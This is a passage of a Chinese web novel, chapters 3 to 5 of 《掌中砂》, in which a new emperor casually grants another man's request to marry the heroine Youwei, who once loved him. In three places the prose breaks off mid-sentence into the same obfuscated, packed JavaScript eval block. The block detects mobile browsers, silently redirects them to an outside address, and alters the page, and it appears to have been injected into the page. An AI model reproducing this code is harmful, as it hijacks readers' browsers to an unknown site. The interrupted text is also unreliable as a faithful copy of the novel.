《掌中砂》 3. 第三章 谢明姝指尖正扣着青瓷茶盏,袅袅茶雾漫过她素白的脸颊,恰好将那点转瞬即逝的淡色轻轻掩了去。 说话的贵女瞧见谢明姝的脸色,话音又是一转。 “不过依我看,无论什么人得了那好处,尊荣终究是比不上国公府的。花开得再好终有尽时,长盛不衰才是真本事。” “说这些做什么?”谢明姝垂眸拂去茶盏边缘的浮沫,声音不高不低,带着点漫不经心的温凉,“为君分忧,方是世家立身之本。” 此话说完,其他人都不敢再说什么了,于是话题又转到别处,讨论起过段时日的花朝节来。 谢明姝是宁国公府的掌上明珠,也是当朝贵女之首,她说什么便是什么,其他人断不敢反驳。 原因无他。宁国公祖上是开国功臣,后来又出过皇后、太后,与皇室血脉相连,地位远非寻常勋贵可比。 谢明姝更是不同。刚出生时,就被云居寺的渡厄大师批言——天生凤命! 大渊的爵位多是降等承袭,除非圣人点头,方能世袭罔替。 是以宁国公的封号能从开国袭承至今,从未有变,这是极为特殊的尊荣。 其实全依仗祖上与皇室结亲博来的地位。 本来谢家已经两代无缘坤位尊荣,人人都道国公府的爵位也该降了。 奈何传到这一辈竟出了个天生凤命,如此,国公府的尊荣算是又能保住起码两代。这独一份的富贵,用长盛不衰形容绝不夸张。 谢明姝从小就在众星捧月般的尊荣里长大。府中长辈视若珍宝,锦衣玉食自不必说,就连启蒙的太傅都是圣上亲点的大儒,京中勋贵见了她,无不礼让三分;宗室子弟提及她,都带着不加掩饰的倾慕。 又因这份与生俱来的“凤命”光环,谢明姝浑身都透着花团锦簇般的贵气,无需刻意张扬,便已是人群目光的焦点。 众人早已默认了这件事:无论谁成为皇帝,谢明姝都会是皇后。 这享不完的荣华富贵令人好生艳羡,旁人没这份好命,便争相学着她的穿衣打扮,谢明姝吃过用过的东西都会被人排队哄抢。 锦绣阁便是因为谢明姝,一跃成为京中名气最高的制衣店,深受贵族喜爱;珍宝斋也常年售卖谢明姝戴过的同款首饰,在京中炙手可热,人人都道这两家的老板都该给国公府磕头。 眼下,幼薇却没心思关注她们说什么聊什么,只回想起一件事。 宫中赏赐向来有定数,一到三品官员必赏,绫罗绸缎之类按品级赏赐,数量分别是六到三匹不等;其下官员则论功行赏,品级越低,赏赐越普通。 收到宫中圣旨以及十匹香云绫,幼薇并未多想。 一来绫并不比绸缎贵重,寻常贵族都穿得,不是什么惹眼的东西;二来幼薇以为是特殊时期,君王为了拉拢朝臣才赏了这许多,也未多怀疑什么。 只是如今看来并非如此。 尤其听了方才贵女所说的话,她心中更加喜悦——他所赐下的香云绫,是她所想的那个香云绫吗? 李承玦曾对她提起过他的生母燕妃,他说燕妃极爱用香,因为檀罗国盛产香料。 传闻檀罗国王常穿的一种料子,是由香料饲蚕所吐出的香丝制成,只有王后有资格与他用这蚕丝制衣。 至于王子公主以及宠妃,只能在国王心情好时被他赏赐,寻常是不配有的。 檀罗天热,这样的蚕从饲养就极费工夫,且细腻丝织之术他们并不擅长。 他们更擅长缝合兽皮,制造毛、麻织品,是以产量远远无法提升,只能供少部分王室使用。 他对幼薇说起这些时,他们正在山上看凌霄花——他曾对她许诺,凌霄花开时他便从西北回来,幼薇数着日子等凌霄花开,花开一个月,他果真回来了。 不仅回来,他还给她带了他上回提过的,面向雪山盛开的高山杜鹃。 那是与中土截然不同的异域花朵,他带了好几株回来,花栽在湿润的土壤里,这一路上得他小心守护,幼薇收到时,纯白的杜鹃花开得正盛,仿佛还能想象它面对雪山的样子。 富贵奢靡的礼物,幼薇不是没见过,可是没有哪个能比得上眼前这朵花来得珍贵,仿佛她整个人都像这株花一样,一路上被他护在怀里,任凭戴月披星,雨打风吹,他都可以将她珍重得很好。 幼薇捧着手里的花,看着眼前的男人,心想,不会有比他更好的人了。 他总是能说出许多她没听过的东西,认识他之前她无法想象这世上居然能有一座山堆满了雪而不化,而紧挨着它的土地却能绿意盎然不受影响,那是幼薇无法想象的画面。 于是幼薇时常央求他给她讲一些东西,他讲过很多,幼薇听得津津有味,直到有一次,幼薇对他说:“你能跟我讲讲檀罗国的故事吗?” 那一瞬间,仿佛世界都凝结冰冻,幼薇半晌不见他回答,便转头看过去。 他那双摄人心魄的浅色眼眸幽暗地望过来,里面盛着一团幼薇看不懂的晦暗,只听他怪异开口:“你想听?” 幼薇拄着下巴,点点头:“对啊,我想听。” 他的声音很凉,像是四面八方蔓延而来的水,无形间将幼薇的身形包裹。 “有什么好听?” 幼薇拄着下巴,诚恳地摇摇头:“我也不知道啊。” 不过很快,她又有些腼腆地笑起来,不自在地抱住膝盖,看向自己的鞋尖,声音也有些低:“大概,是跟你有关吧,所以我想知道。” 周身的寒冷骤然退去,幼薇再一次没有听到他的回答,安静得仿佛身边没有人一样,她转脸看过去,只见他用一种复杂的眼神盯着自己,像是在看陌生人。 “怎么了?”幼薇再蠢也意识到了不对,她怯怯看着他,紧张地问,“你不高兴说吗?” “……不是。” 认识他这许久,倒是第一次看他这般寡言沉默,仿佛柔软的潮水退去,只留下一滩坚硬的石。 “我没有对人讲过,怕讲得无趣。” 原来只是担心这个。 幼薇暗暗松了口气,再次扬起笑容:“不会啊,我很喜欢听你说话。” 于是他无事时便会对她说起一些檀罗国的事情,起先说得不多,但幼薇总是听得津津有味觉得不够,便要求他说更多,他只得答应。 而他带回高山杜鹃那次,他便对她讲起,这檀罗国特有的一种蚕丝。 幼薇当时听完感叹:“那很好啊,穿在身上一直香香的,不知道我们大渊什么时候会有这种好东西,我还挺想闻一下的。” 收到香云绫时,幼薇以为那是织造署新做的东西,毕竟御赐的东西也常有熏香,虽然这次香味不同,但她只觉得那是宫里又换了配香的缘故。 纵是千思万想,也未想过这香云绫竟与他说过的檀罗国蚕丝有关…… 所以李承玦还记得她,也如她一般记得她,对吗? 这样的猜想令她喜悦,几乎冲破了一切。纵使五个月未曾见面,他也未曾忘记对她说过的话,想来他定有他的难处。 这样一想,殿中贵女再说什么她什么都不曾在意了,心思早已顺着门窗缝隙溜到外面,妄图将月亮推到更高的地方去,好让宴会快些到来。 不多时,有内侍过来提醒庆功宴快要开始,请各位贵女回去就座,众人这才散了。 谢明姝和幼薇并肩向外走,到门口分别,谢明姝微笑牵起幼薇的手:“绵绵,许久没有吃过你做的糕点了,下回给我带些你做的玉心软酪罢,我二哥上回尝了也觉得喜欢。” 幼薇问:“只做玉心软酪,不用再做别的?” “那我当然求之不得了。”谢明姝将她拉到殿门后面,“对了,你去岁曾与我说过的,靖边军的侍卫……他今日可来了?如今十四殿下荣登大宝,他也得到封赏了罢?” 幼薇脸色一白,她去年想对父亲坦白自己有了心上人,却又担心父亲介意对方身份,是以一直不知如何开口时,纠结了好一阵子。 去宁国公府赴宴被谢明姝看穿心事,她只有谢明姝这一个热情待她的朋友,没多考虑就说了,谢明姝当时宽慰了她几句,话题就转到别处了。 再后来,李承玦对她言明了身份,幼薇的烦恼消失,却无法再对谢明姝直言。 好在她没有提,谢明姝也没有再问过这事,本以为就那么不了了之了,怎么也没想到谢明姝今日会突然提起。 幼薇有些支吾,捏.弄帕子:“父亲说他并非良人……已经命我同他断了……” “那也是对的。”谢明姝只是微笑,“绵绵生得这样乖巧可爱,何等门第配不得?哦,差点忘了,下个月花朝节祭祀你与我同去罢,我让车夫过去接你,如何?” “不劳烦姐姐,我过去找你就是。” “你与我客气什么?” 谢明姝笑着松开她的手,在侍婢的陪同下离去了。 可最后这句话,事情究竟是如何定夺,幼薇琢磨半天也想不清楚,远远见到父亲对她招手,幼薇将这件事抛之脑后,提着裙摆向父亲走去了。 - 殿外鸣鞭三声,略微嘈杂的集英殿瞬间肃穆凝神,鞭声毕,远远听到礼官自殿外传唱:“御驾至——” 群臣携家眷立即肃立,垂首屏息。 待至殿内丹墀上的礼官再次传唱:“御驾至——” 群臣跪伏,叩首:“万岁,万岁,万岁!” 余拓海是二品,桌席位置离殿门很远。 幼薇心跳飞快,终于可以见到李承玦恋,他看到她,会觉得惊喜吗? 在群臣山呼绕梁回荡后的静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499088|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谧里,她耳尖地听见,有人踏在地毯上的步伐声,以及极其细微的,玉佩相撞的声音。 一步一步,不紧不慢,带着手握天下的气度,坐拥一切的沉稳。 夜幕已至,宫人早在天黑之前便上了灯。 此刻集英殿内灯火明亮,幼薇先感到一道高大的影子投到身前,即便没抬头,也能看到地上的影子旒冕轻晃。 幼薇参加宫宴无数次,比谁都明白直视天颜乃是死罪的道理。 可这一刻她还是忍不住了,她伏在地上,攥紧藏在袖中的腰带,雀跃地抬起头。 但见眼前人玄衣纁裳,腰束君王玉带,两侧悬玉佩,十二章纹尽显帝王威仪。 幼薇随父亲参加宴席,最初的本意,便是想来看看他。 然而此刻,他就站在自己眼前,那张脸笼罩在玉旒之后,显得幽深高远。 要见的人近在咫尺,她的心却没由来地重重一沉—— 她看得见他,却瞧不清他。 所有人都伏在地上,只有幼薇直挺挺跪在那里,呆呆看着这位君王从眼前走过。 那些激动,忐忑,阔别已久的思念,通通被君王面前的十二道玉旒阻隔。 他从未偏头,甚至未曾注意到殿中有个人没有参拜他。 她甚至,没能出现在他的余光里。 余拓海是在叫起时才发现幼薇直挺挺跪在那,不由吓了一跳,他面色不变,私下里碰了碰幼薇的手背,低声问:“绵绵,你还好吗?” 幼薇摇摇头:“我没事。” 她连新帝什么时候宣的平身都没听到,方才还滚烫的心,此刻如同被浇了一盆冷水。 她不断宽慰自己,没事的,他如今是君王,不东张西望是正常的,也许这个东西便叫做帝王威仪,她不能多想。 礼官传旨开宴,乐声起,清越空灵的编钟声响彻大殿。 内侍、宫女按序向御座及各席进酒、献食,琴与瑟悄然和入曲调,为这层叠庄重的声乐添了几分柔和典雅。 待一番酒毕,乐声暂歇,身穿绯色官服的礼官垂手立于御座之下,高声传唱:“陛下有旨——” 群臣连忙起身,倾身拱手:“臣等接旨。” 礼官转身,躬身后退三步,而后立在原地:“请陛下训示——” 御座之上站起一道身影,手执酒盏。 他迈下丹墀,一手执酒,另只手负到身后,竟这样缓缓走了下来。 众臣虽未抬头,却仍能感受到一道暗含威压的目光在头顶扫过。 低沉的声音响彻大殿,只听新帝边走边道: “朕今日御极,回望前朝,虽有治世之基,亦见积弊之深。官吏冗滥者当裁,民生困顿者当恤,边鄙不宁者当安——此三者,朕之心腹事也。 “治国之道,不在空谈,而在力行:州县官需深察民情,勿使朱门酒肉与路有冻骨并现;中枢臣需直言无隐,勿以明哲保身废犯颜直谏。朕虽年少,愿以勤政自勉,以纳谏自警。 “今庆功非为自满,乃为誓师。愿诸卿与朕一道,涤荡积习,重振纲纪,待四海清宁,再饮此杯!” 左侧第五席的位置,迈出一个中年人来,跪拜:“陛下圣言,臣等惶恐聆听!先帝遗志得承,社稷有主,实乃万民之福!臣等必以陛下之训为纲,肝脑涂地,不敢有负圣恩!愿陛下龙体安康,大渊国泰民安!臣等谨率百官,恭祝陛下万岁、万岁、万岁!” 其余百官立即齐声附诵:“陛下万岁、万岁、万岁!” 说话之人是当朝宰相,庄修齐,年逾五十岁,文武百官之首,比起勋贵那些头衔,是真正手握实权之人,可谓是一人之下。 他的桌席仅在那些王公贵族之后,文臣中的第一。 李承玦已走回御座之上,拜礼完毕,君臣共同举杯。 乐声起,这次换了个轻快的曲子,舞伎入殿,在大殿中央演舞。 群臣依次上前献诗,进贡,君臣俱欢。酒过三巡,新帝一一为功臣赐食,赐酒,又分别提拔了十余人,依次颁布圣旨,为他们升官、赐阶。 被赐阶的几人其中便有余拓海。 被提到的大臣纷纷出来谢恩。 耐人寻味的是,新帝赐过宰相,便以“为宰相分忧”为由,将宰相之称改为左相,又另封了一人为右相。 观那人一身布衣,手持羽扇,颇有几分世外高人之风,想来便是他的军师了。 幼薇瞧着这一切,又默默看着坐在上首的身影,袖中腰带捏紧,一时竟不知该为他欢喜,还是该为自己感到失落。 就在这君臣尽欢之际,左列宴席第五的位置,突然站起一道修长的身影。 那身影迈出来,站在空荡荡的大殿中央,直面新君,拱手倾身:“启禀陛下,微臣斗胆,请求陛下赐婚!” 4.第四章 此时没有舞伎献舞,只有箜篌和古筝的合奏曲流淌其间,大殿中一时充满典雅、和乐的氛围,君臣共欢。 而在男人说完这句话后,乐曲恰好也停在这,原本举杯欲饮的朝臣们顿住了动作,如此热闹的宴饮,一时间竟冒出了不合时宜的宁静。 幼薇今夜心中失落,面对满盘珍馐也没有动筷的心思,整场宴会一直在那吃水果,余拓海给她夹了很多她爱吃的菜她也不想动,又怕父亲担心,只挑些素菜吃了,其余的就高高堆在碟子里,像座小小的山。 这会儿她正在心不在焉地剥橘子,突然听见有人请求赐婚,不禁提起一丝精神,橘子都顾不上剥了,连忙抬头去看。 贵族间的联结背后往往有政治因素,是以圈中谁与谁在相看、谁和谁定下婚约,总会暗中传开。 去岁时局动荡,情势不明,并未听闻哪两家有结亲的意向…… 难道是哪家小姐与哪家公子暗生情愫,未被众人知晓? 在新帝的庆功宴上请求赐婚,倒也算不上多冒昧,现下本就是君王赏赐臣下的时刻,赐婚又何尝不是一种赏赐? 是以众人短暂惊讶过后,全都好奇望向出声之人。 幼薇便在此时随众人一齐看了过去,只见那人身姿俊朗,气质如兰,单是一个背影便觉神清骨秀,他身着一袭绿色官袍,腰配鱼袋,明明只是寻常的七品官服,穿在他身上却有些与众不同的文雅。 女子与男子虽接触不多,却也并非没见过,她看了一会儿便想起来了,或者说京中没有人会不认识他——正是宰相之子,庄怀序! 出色的孩子总会被人拿来作榜样,谁不希望自家后辈也如那般优秀?正如谢明姝的美貌与高贵,庄怀序的才学与聪慧。 生儿子的人家都羡慕宰相有此佳儿,倘若自己的儿子也有这么争气便好了——庄怀序三岁识文,五岁作诗,七岁成赋,仿佛集天地灵秀与一身。 十五岁更是一画动京城,十九岁科举入仕,如今任职翰林院,和其父庄修齐当年入仕职位相同。 他这番成就早就被这些达官显贵熟记,同龄人更是听得耳朵听得起茧。 更何况他如今才二十二岁,可想未来将会是如何青云直上,前途光明! 如此天之骄子,云端上的人物,上门说亲的媒人络绎不绝,却无一例外被拒,伤了多不少高门贵女的心。 可她们也明白,寻常女子配不上他,怎么也该是谢明姝那种明艳灼华的人物,才称得上一句登对,才能让被拒婚的女子甘心。 如今宰相之子竟公开求亲,难道是想与新帝亲上加亲? 可是当年先帝想将青阳公主赐婚于这位状元郎,也被他事后推拒——他若有心攀附,谋求荣华,何必等到今天!? 那么今日求婚又是为了什么,欲求哪家千金? 满朝文武实在惊之又惊,奇之又奇,此刻目光都悬在御座上的身影,等着他开口发问,然后再听这位宰相之子回话,为他们揭晓答案。 御座上,但见玉旒轻晃,新帝饶有兴味地微微偏头:“赐婚?爱卿倒是说说,欲求娶哪家千金?” 刹那间,所有人都竖起耳朵,连呼吸都放轻了些,目光齐刷刷落在庄怀序身上。 幼薇也是揣着一颗求知的心,身子不由自主往前探了又探,手里还握着那只剥了一半的橘子。 却见庄怀序挺直脊背,抬眼直视御座,一字一顿,清晰道出那个所有人都在翘首以盼的名字。 “臣,欲求殿前指挥使之女,余家大小姐,余幼薇!” 声音清朗,余音回荡。 他的声音坚定诚恳,不容置疑。 大殿之内,却骤然陷入死寂。 “……” “……” “……” 唰唰唰。 满朝文武的目光如同实质,齐刷刷朝幼薇射了过来。 庄修齐看向幼薇,面色沉静得像一潭深水,瞧不出半分波澜;谢明姝抿着唇望过来,眼神里藏着几分探究与复杂;偏殿那些贵女更是毫不掩饰,震惊与嫉妒明明白白写在脸上,手里的帕子几乎要被绞碎。 假若此时不是宫宴,她们几乎恨不得把幼薇吊起,将真相审个清楚明白。 至于幼薇,她下巴微滞,人一呆,剥了一半的橘子“啪嗒”掉在桌上,骨碌碌滚了几圈,最终“啪”一声落在脚边。 世界静止。 余拓海最先反应过来,他面色不变,暗中碰了碰幼薇的手臂,低声唤道:“绵绵?你与宰相之子……” 幼薇猛地回过神,第一反应便是抬眼看向御座上那道玄色身影。 她与庄怀序不过是萍水相逢,非要说的话,他们只在宁国公府的宴席上见过。 听闻是云英郡主之女想借谢明姝的关系见他,谢明姝才托哥哥把庄怀序请去府上。 旁人既要与心上人(单方面)相看,幼薇容貌虽不及别人那般明艳出众,但那日宴会还是专程穿得清汤寡水地去了,连妆扮都不曾有,在一众花团锦簇的贵女中,她与绿叶大抵没分别。 怎么想庄怀序都不可能注意到自己,更遑论“喜欢”?可眼下他竟当众求娶,甚至还让陛下赐婚,这到底是为什么!? 不过幼薇心里并不慌乱。纵然李承玦未曾表现出什么,可过去一年的相处总该不是作假,便是他对自己毫无情感,只有朋友之谊,他也该会替自己揽下这桩没头没尾的婚事罢…… 他明知道她的心在哪里,怎会眼睁睁看着自己嫁予他人? 短暂震惊过后,幼薇很快淡定如常,回握了下父亲干燥温暖的大手,示意他没事。 余拓海抿了抿唇,看了眼庄怀序,没做声。 其他人没能从幼薇脸上看出什么答案和私情来,都有些失望地收回眼,继续等待事态发展。 殿内灯火通明,将每一处细节都照得清清楚楚。 只见李承玦坐在高高的龙椅上,像是第一次听到这个名字,漫不经心地把玩手中酒杯:“哦?爱卿既然喜欢,便准了。” 语气轻飘,像在赏赐宴席上的一道菜,一杯酒,一个无足轻重的玩物。 和今夜宫宴上赏赐官阶金银没什么分别。 这只是庆功宴上君臣共欢的一段寻常景象而已。 殿内短暂寂静。 很快地,众臣连忙举杯,向庄修齐、庄怀序父子道贺:“恭喜左相大人,恭喜庄修撰。” 又举杯向余拓海:“恭喜指挥使大人!” 送上那些饱含寓意的祝福:“喜结连理,百年好合!” “对对对,指挥使大人如今官升一阶,又得如此佳婿,真是双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502133|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜临门哪!” 大渊重文抑武,文臣本就多,此刻宫宴正酣,又添了这样一桩御赐的婚事,这些文臣口若悬河,滔滔不绝,一时间,那些庆贺新婚的祝词像潮水般涌来,幼薇只觉一阵天旋地转,头重脚轻,她身子微晃,连忙用右手抓住桌角方才勉强坐稳。 耳边一阵强烈的噪音嗡响,如同坠入水中,那些庆贺的祝词慢慢开始模糊,被空气隔绝拉长——拉远。 幼薇脾气一向很好,纵使生气,也只是自己悄悄气一会儿就算了。 然而此刻,她只觉全身气血逆流上涌,在体内涤荡,冲刷——她面色涨红,双目愤然看向御座上的那道身影,垂下的手紧紧捏住,捏得骨节都白了,因为太过用力,甚至还在微微颤抖。 如果可以,她很想冲到李承玦面前,然后在他脸上狠狠甩上一巴掌,大声质问他为什么! 为什么? 你明知道我的心意,你明知道为你准备的腰带还没送出,明知道我是为了什么才去求我父亲,你明知道…… 思及此,幼薇的脸色骤然惨白! 是啊,她为什么会去求父亲让他在封城时刻放李承玦入城来,她为什么会爱上李承玦,李承玦又为什么在成为储君后再也没来见过她,又为什么在听到有人求娶她以后无动于衷,像是从未认识过她一样! 为什么,还能为什么? 自然是因为……因为她余幼薇,有一个能够调动皇城禁卫的父亲! 因为她的父亲是天子近臣,接近皇权,深受信任,因为她的父亲,又是出了名的爱女如命! 那些缠绕自己一整年的情愫骤然在头脑中断裂,像是有人将她脑中的某根弦不断拉紧,再拉紧。 直到此刻,彻底绷开。 有时候,人把事情想得太清楚,反而会耗尽气血与精神。 便如此刻,捏紧的拳头一瞬松开,幼薇脊背一垮,整个人像是凭空被人抽走魂魄,只剩下一副空荡荡的皮囊,一阵风就能将她吹走,那些被隔绝的声音再次如潮水般涌来,巨大的虚无感将她吞噬,淹没。 原来自己过去一年所付出的真心与情意,在他眼中,不过是他踏上帝位的垫脚石。 这时,御座旁的内侍走下殿,快步走到幼薇面前,俯身压低声音提醒:“余小姐,还不快起来叩谢皇恩?” 幼薇刚被这内侍叫醒,便听到这样一句话。 ——谢恩? 她还要叩谢皇恩? 幼薇眼眶一红,猛地抬眼看向那个内侍。 那内侍双手拢在袖中,猝不及防对上她的目光,整个人不由向后一颤。 这余指挥使家的千金素来胆小乖觉,此刻眼底的情绪却像翻涌的浪,带着被碾碎的痛楚,看得人心头一震。 怎么会突然露出这样的神情? 像是……像是被谁伤透了心…… 殿内所有人的目光都聚焦在此,自然也包括御座上的那道身影。 李承玦的声音便是在此刻响起,嗓音低沉,像是从很高很远的地方传到大殿,落进幼薇的耳朵。 那道声音淡淡问:“怎么了?” 内侍身形一顿,拢着袖子转回身,朝御座上的身影鞠了一躬,擎着笑脸道:“回禀圣上,没什么,这余小姐得您赐婚,嫁给心上人,这会儿高兴得哭了!” 5.第五章 听闻这话,那些个大臣们不由哈哈一笑,再看向今夜这对有情男女,眼里都多了几分长者的慈爱。 少女怀春的心事说出来总是美好的,若有情人终成眷属,自是该当祝福。 幼薇却没心思关注别人是什么反应,她只想看清李承玦此刻的表情。 可上位是那么高,又那么远,她什么都瞧不见。 只能看见那龙座之上,玄色身影仍旧把玩酒杯,鎏金之色被灯火映照,投在他棱角分明的脸上,分明是暖色的光,却瞧不出一点温度来,只觉一片冰冷。 她想,他应当是不会在意的。 可是,她虽性子软弱,谁都可以拿捏,却仍有自己的一点气性。 她不愿被他瞧了笑话,也不愿被人看轻了她。 是以,幼薇忽地从座席上站起来,蓦地提高声音。 说的话声音微颤,却又有一种说不出的倔强,就这样静静回荡在大殿之中。 ——“内官误会了,臣女只是被橘子皮的汁水溅了眼睛,并不是哭了。” 这话说完,那些在笑的大臣顿时一愣。 余拓海未料一向乖顺胆小的女儿竟会这样说,不由身子一震,连忙在下面握住了女儿的手,似乎在告诉她:不要怕,爹爹在这里。 御座之上的那道身影似也有些意外,幼薇能感受到,从上面投下一道视线,直直落在她身上。 轻描淡写,却极有存在感,像在看什么有趣的玩物。 幼薇喉咙滚动,轻轻挣开父亲的手,从桌席后面走出,踩着柔软的毡毯,直直走到大殿中央,站在那道清俊秀雅的身影旁边。 她昂首,娇小的身躯,面容天真稚嫩,只戴了一支乌木素簪,看着柔柔弱弱,颈子却很直。 终于站到离他很近的位置,这个距离,足以看清他的脸。 可幼薇却不是那么想看他了。 她直直看向御座之上,只是在看那个方向,至于站在那里的人,她想,已经不重要了。 幼薇双臂交叠,横于胸前,右手在上,身体微微向前倾。 而后再拜,双膝跪于地毯之上,脊背挺直,一字一句,字字吐得清晰。 “臣女余幼薇,叩谢皇恩!陛下亲赐婚约,令臣女得偿夙愿,终能嫁与心上人,这份恩典臣女铭感五内,无以为报。唯祈陛下威加四海,大渊江山河清海晏,国泰民安——吾皇万岁、万岁、万岁!” 她向龙座上的新君叩首,行的不是普通肃礼,而是最大的拜礼。 柔弱身躯,一下又一下,在毡毯上叩首。 因为浑身绷得太紧,连喉咙都控制不住地发颤,指尖也在发抖。 即便如此,她仍旧努力控制自己的身体,不让自己流露出一丝一毫的异样。 明明是叩谢君恩,可不知道为什么,在场的所有人都体会到了一种说不出的怪异。 大概是因为,这个拜礼太重了,而君上的反应又太沉默。 这拜礼重到不像是在谢恩,更像是一种,割骨还肉的诀别。 可这不是喜结连理的好事吗?又有什么好诀别呢? 众臣心思一晃,纷纷暗怪自己喝多酒,脑袋都喝晕了。 庄怀序见幼薇如此,不禁也有些惊讶。 紧接着,他也扑通一跪,向君上拜了又拜:“微臣庄怀序叩谢皇恩!唯祈陛下威加四海,大渊江山河清海晏,国泰民安——吾皇万岁、万岁、万岁!” 两道身影跪在一处,垂落下的柔顺发丝交叠,衣袂也连成一片,似是有情人已成眷属。 可庄怀序却清晰地感受到,自己隔着衣料触碰到的手臂,分明在不住地发颤。 君上的视线默然落在他们二人交叠的发上、身上,细细打量他们二人。 另一只手,缓缓抚上左手的玉扳指。 良久,发出一声轻笑。 “拜这么大礼做什么?你们小夫妻便起来吧。庄修撰,这可是朕赐下的第一道婚约,你得好好待她才是。” 说完,他又微微转头,视线落在余幼薇身上。 “余小姐,若朕这臣子有怠慢你的地方,尽管入宫来找朕。放心,朕会为你撑腰。” 低沉轻曼的声音,有着金属般的质感。 说出的话,也如一个仁慈爱子的君王一般,可以为她撑腰,也为天下人撑腰。 幼薇五指收拢,指甲死死嵌入掌心中。 却在抬首时,露出一个浅浅的,明媚顺从的笑脸来。 “那臣女就谢过陛下了。” 依旧是一派天真的模样,一如从前。 没人看出她的异样。 御座上的身影没动,只是淡淡移开眼:“平身罢。” 幼薇缓缓起身,一旁的庄怀序横起手臂供她搀扶:“余小姐,若不介意可以扶着我。” 幼薇并不逞强,搭上庄怀序的手臂借力站起身。 他身上有一种很好闻的香气,淡而清幽,她一时想不出,只知道是混着书墨,形成一种令人着迷的书卷气。 幼薇抬眼,庄怀序面如冠玉,皮肤白得晃眼,清俊文雅的面容,令人想起书上说的君子如梅兰竹菊之类的高雅比喻,这样的人,是很难让人心生恶感的。 纵使幼薇不喜欢他,却也不会对他心生反感。 只是唏嘘,入宫之前何曾想过,她本是为了见心上人而来,心上人却当众将她赐给别人,短短一个时辰,她竟凭空多了一个从前并未接触过的夫君。 还是京中贵女人人都想嫁的那一位。 命运弄人。 两人并肩,相互搀扶着站起来,而后庄怀序默默退开一步,保持着一个适度的距离。 二人虽有婚约,庄怀序却仍守君子之礼,这样的一幕落在别人眼中,虽与众人原本的设想不同,这样看倒也是登对的。 幼薇明显感受到了一记又一记的眼刀落在自己身上。 同时也能捕捉到自己的背后,也有一道探究的目光。 这时,听见御座下的内侍发出感叹:“陛下隆恩,瞧这一对新人眷侣,多么登对!” 幼薇与庄怀序点头分开,微微提着裙摆走回到父亲的席位前,却听身后传来内侍的呼唤:“余小姐,您有东西掉了!” 幼薇脚步一停,下意识想,自己今天穿得这样素净,怎会有东西掉? 她转回身,看到内侍立在她方才跪拜的位置,手中托着一条墨蓝色腰带,上面还绣着有些歪扭的高山杜鹃花样。 幼薇下意识摸向自己的衣袖,空的。 想来是方才谢恩时从袖口掉了下去。 她下意识向前迈步,可是转念一想,还有拿回来的必要吗? 不会再送出去了。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508857|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要送的那个人,或许从未真心期待过这件礼物。 幼薇收回脚尖,在原地站定,望向内侍,露出一个温婉的笑容来。 “多谢内官提醒,不过只是个无关紧要的物件,劳烦内官帮我烧了吧。” - 宫宴后面发生了什么,幼薇已经无心关注,她坐在那,将没剥完的橘子一点一点剥完。 剥好了,又将白色经络悉心撕扯下来,橘瓣的汁水溅在手腕上,她轻轻擦去,最终每一瓣柑橘都剥得干干净净,什么都不剩,唯余黄澄澄的果肉。 幼薇将橘瓣送入口中,很甜,甜中带酸,宫中选的柑橘果然上佳,为什么她就选不到那么好的?她去买橘子,那人告诉她是甜的,她买回来发现全是酸的,为什么要骗她?说实话很难吗?还是她看起来很好骗? 余拓海突然握住她的手臂,阻止了她将橘瓣入口,幼薇怔怔回神,问:“爹爹,怎么了?” “绵绵,你还好吗?” “嗯?”幼薇露出和平常一样的笑容来,“我很好啊,爹爹。” 余拓海缓缓松开她,没再说什么。 夜深时,宫宴结束,赴宴的官员相继离开集英殿,三品以上的官员马车都在附近的下马处等待。 还没找到自家马车,谢明姝却从后面叫住了幼薇:“绵绵。” 幼薇转身,见谢明姝与侍女站在身后,身姿窈窕,面容明艳。 “明姝姐姐。” 余拓海见状,让晚辈在此处闲聊,自己先去找马车了。 谢明姝弯唇:“还没恭喜妹妹喜结良缘,亏我平日里总问你有没有心上人,欲帮你介绍亲事你还一再推诿,原是早有了这样的好姻缘不肯说,偏把姐姐蒙在鼓里。” 幼薇心想,我知道的也没比你早多少。 她说:“姐姐才是天底下最好的姻缘,快别打趣我了。” 谢明姝只是微笑,并未否认。 “你还没告诉姐姐,你与庄怀序是如何结缘的?” 幼薇有些累,今夜发生了这么多事,她一时间又如何去编一个天衣无缝的谎言来回应谢明姝? 她勉强道:“姐姐若想知道,等花朝节我去姐姐府上再说与你听。” 谢明姝这才不再追问,她转身欲走,又想起什么,停步回身,一双明亮眼眸落在幼薇脸上,带着几分探究:“平日里众姐妹都道你胆子最小,不想今日你在殿中竟敢当众反驳内官,甚至面对陛下也无惧意,倒是令人有些意外了。” 宫宴后半截,她一个人隔绝一切,已经尽可能让自己忘记他。 